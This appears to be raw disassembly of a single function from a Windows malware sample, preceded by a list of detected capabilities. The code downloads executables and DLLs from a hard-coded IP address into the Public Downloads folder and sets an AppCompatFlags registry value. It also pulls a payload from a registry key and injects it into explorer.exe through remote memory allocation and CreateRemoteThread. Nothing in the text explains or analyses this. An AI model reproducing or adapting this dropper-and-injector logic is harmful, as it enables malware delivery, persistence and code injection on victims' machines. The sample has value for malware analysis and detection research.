Function at 0x1400049a0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create http request
Create thread
Enumerate processes
Find taskbar
Inject thread
Query or enumerate registry value
Read data from internet
Receive data
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xfe8]
mov eax, 0x10e8
call fcn.14000a370
sub rsp, rax
lea rdx, str.C:UsersPublicDownloadsqq.exe
lea rcx, [rbp + 0x380]
call fcn.140005d10
lea rdx, str.C:UsersPublicDownloadswegame.exe
lea rcx, [rbp + 0x590]
call fcn.140005d10
lea rdx, str.C:UsersPublicDownloads_adapt_for_imports.dll
lea rcx, [rbp + 0x7a0]
call fcn.140005d10
lea rdx, str.C:UsersPublicDownloadsLua51.dll
lea rcx, [rbp + 0x9b0]
call fcn.140005d10
lea rdx, str.C:UsersPublicDownloads_beacon_sdk.dll
lea rcx, [rbp + 0xbc0]
call fcn.140005d10
lea rdx, str.C:UsersPublicDownloadscommon.dll
lea rcx, [rbp + 0xdd0]
call fcn.140005d10
xor r15d, r15d
mov dword [rbp + 0x1028], 1
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.RookIE_1.0
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140004b26
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.138.24.59_wj_qq.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140004b1d
lea rdx, [0x14003a4a0]
lea rcx, [rbp + 0x380]
call fcn.14001478c
mov rdi, rax
test rax, rax
je 0x140004b14
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140004b0c
nop dword [rax + rax]
mov eax, dword [rbp + 0x1028]
test eax, eax
je 0x140004b0c
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.14001461c
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140004ad0
mov rcx, rdi
call fcn.140014214
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1028], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140004c16
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.138.24.59_wj_wegame.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140004c0d
lea rdx, [0x14003a4a0]
lea rcx, [rbp + 0x590]
call fcn.14001478c
mov rdi, rax
test rax, rax
je 0x140004c04
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140004bfc
nop
mov eax, dword [rbp + 0x1028]
test eax, eax
je 0x140004bfc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.14001461c
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140004bc0
mov rcx, rdi
call fcn.140014214
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1028], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140004d06
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.138.24.59_wj_adapt_for_imports.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140004cfd
lea rdx, [0x14003a4a0]
lea rcx, [rbp + 0x7a0]
call fcn.14001478c
mov rdi, rax
test rax, rax
je 0x140004cf4
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140004cec
nop
mov eax, dword [rbp + 0x1028]
test eax, eax
je 0x140004cec
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.14001461c
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140004cb0
mov rcx, rdi
call fcn.140014214
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1028], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140004df6
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.138.24.59_wj_Lua51.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140004ded
lea rdx, [0x14003a4a0]
lea rcx, [rbp + 0x9b0]
call fcn.14001478c
mov rdi, rax
test rax, rax
je 0x140004de4
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140004ddc
nop
mov eax, dword [rbp + 0x1028]
test eax, eax
je 0x140004ddc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.14001461c
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140004da0
mov rcx, rdi
call fcn.140014214
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1028], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140004ee6
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.138.24.59_wj_beacon_sdk.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140004edd
lea rdx, [0x14003a4a0]
lea rcx, [rbp + 0xbc0]
call fcn.14001478c
mov rdi, rax
test rax, rax
je 0x140004ed4
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140004ecc
nop
mov eax, dword [rbp + 0x1028]
test eax, eax
je 0x140004ecc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.14001461c
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140004e90
mov rcx, rdi
call fcn.140014214
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1028], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140004fd6
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.138.24.59_wj_common.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140004fcd
lea rdx, [0x14003a4a0]
lea rcx, [rbp + 0xdd0]
call fcn.14001478c
mov rdi, rax
test rax, rax
je 0x140004fc4
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140004fbc
nop
mov eax, dword [rbp + 0x1028]
test eax, eax
je 0x140004fbc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.14001461c
lea r9, [rbp + 0x1028]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140004f80
mov rcx, rdi
call fcn.140014214
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rsp + 0x70]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000503b
mov rcx, qword [rsp + 0x70]
lea rax, str.RunAsInvoker
mov dword [rsp + 0x28], 0x1a
lea rdx, str.C:UsersPublicDownloadswegame.exe
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
lea rdx, str.Hello_World__n
movzx r14d, ax
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
lea rdx, [0x14003a019]
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Hello_World__n
mov rdi, rax
call fcn.140005a30
mov ebx, 0x641
mov esi, 0xa
nop word [rax + rax]
xor r9d, r9d
mov r8, rbx
mov edx, 0x4ea
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
mov r9, r14
mov r8, rbx
mov edx, 0x4e9
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
inc rbx
sub rsi, 1
jne 0x140005150
lea rdx, [0x14003a4c8]
call fcn.140005a30
lea rdx, str.Hello_World__n
call fcn.140005a30
xor r9d, r9d
lea r8d, [rsi + 5]
mov edx, 0x312
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
nop
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400051b0
xor edx, edx
lea rcx, [rbp - 0x7c]
mov r8d, 0x234
call fcn.14002cbe0
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140005215
nop dword [rax]
lea rdx, str.wegame.exe
lea rcx, [rbp - 0x54]
call fcn.140013f74
mov rcx, rbx
test eax, eax
je 0x140005220
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400051f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400051b0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x1038]
mov dword [rsp + 0x40], 0x61657771
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x44], 0x32336473
lea rdx, [rbp + 0x1030]
mov dword [rsp + 0x48], 0x63787a31
mov rcx, 0xffffffff80000001
mov byte [rsp + 0x4c], r15b
mov dword [rbp + 0x1030], 0x736e6f43
mov dword [rbp + 0x1034], 0x656c6f
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rbp + 0x1038]
lea rax, [rbp + 0x1020]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], r15
xor r8d, r8d
mov dword [rbp + 0x1020], r15d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x1020]
call fcn.140009f80
mov rcx, qword [rbp + 0x1038]
lea rdx, [rsp + 0x40]
mov rbx, rax
xor r9d, r9d
lea rax, [rbp + 0x1020]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x1020]
call fcn.140009f80
mov r8d, dword [rbp + 0x1020]
mov rdx, rbx
mov rcx, rax
mov rsi, rax
call fcn.14002c540
mov rcx, qword [rbp + 0x1038]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
mov dword [rsp + 0x50], 0x780065
mov dword [rsp + 0x54], 0x6c0070
mov dword [rsp + 0x58], 0x72006f
mov dword [rsp + 0x5c], 0x720065
lea ecx, [rdx + 2]
mov dword [rsp + 0x60], 0x65002e
mov dword [rsp + 0x64], 0x650078
mov word [rsp + 0x68], r15w
mov dword [rbp - 0x80], 0x238
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000538e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call fcn.140013dc8
mov rcx, rax
lea rdx, str.Failed_to_create_process_snapshot:__d_n
mov r8d, ebx
call fcn.140003e30
mov edi, r15d
jmp 0x1400053d3
lea rdx, [rbp - 0x80]
mov rcx, rbx
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400053ca
lea rdx, [rbp - 0x54]
lea rcx, [rsp + 0x50]
call fcn.140013f74
test eax, eax
je 0x1400053c7
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400053a2
jmp 0x1400053ca
mov edi, dword [rbp - 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rbp + 0x1020]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbp + 0x1020]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], r15
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
mov r9, rbx
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x10e8
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret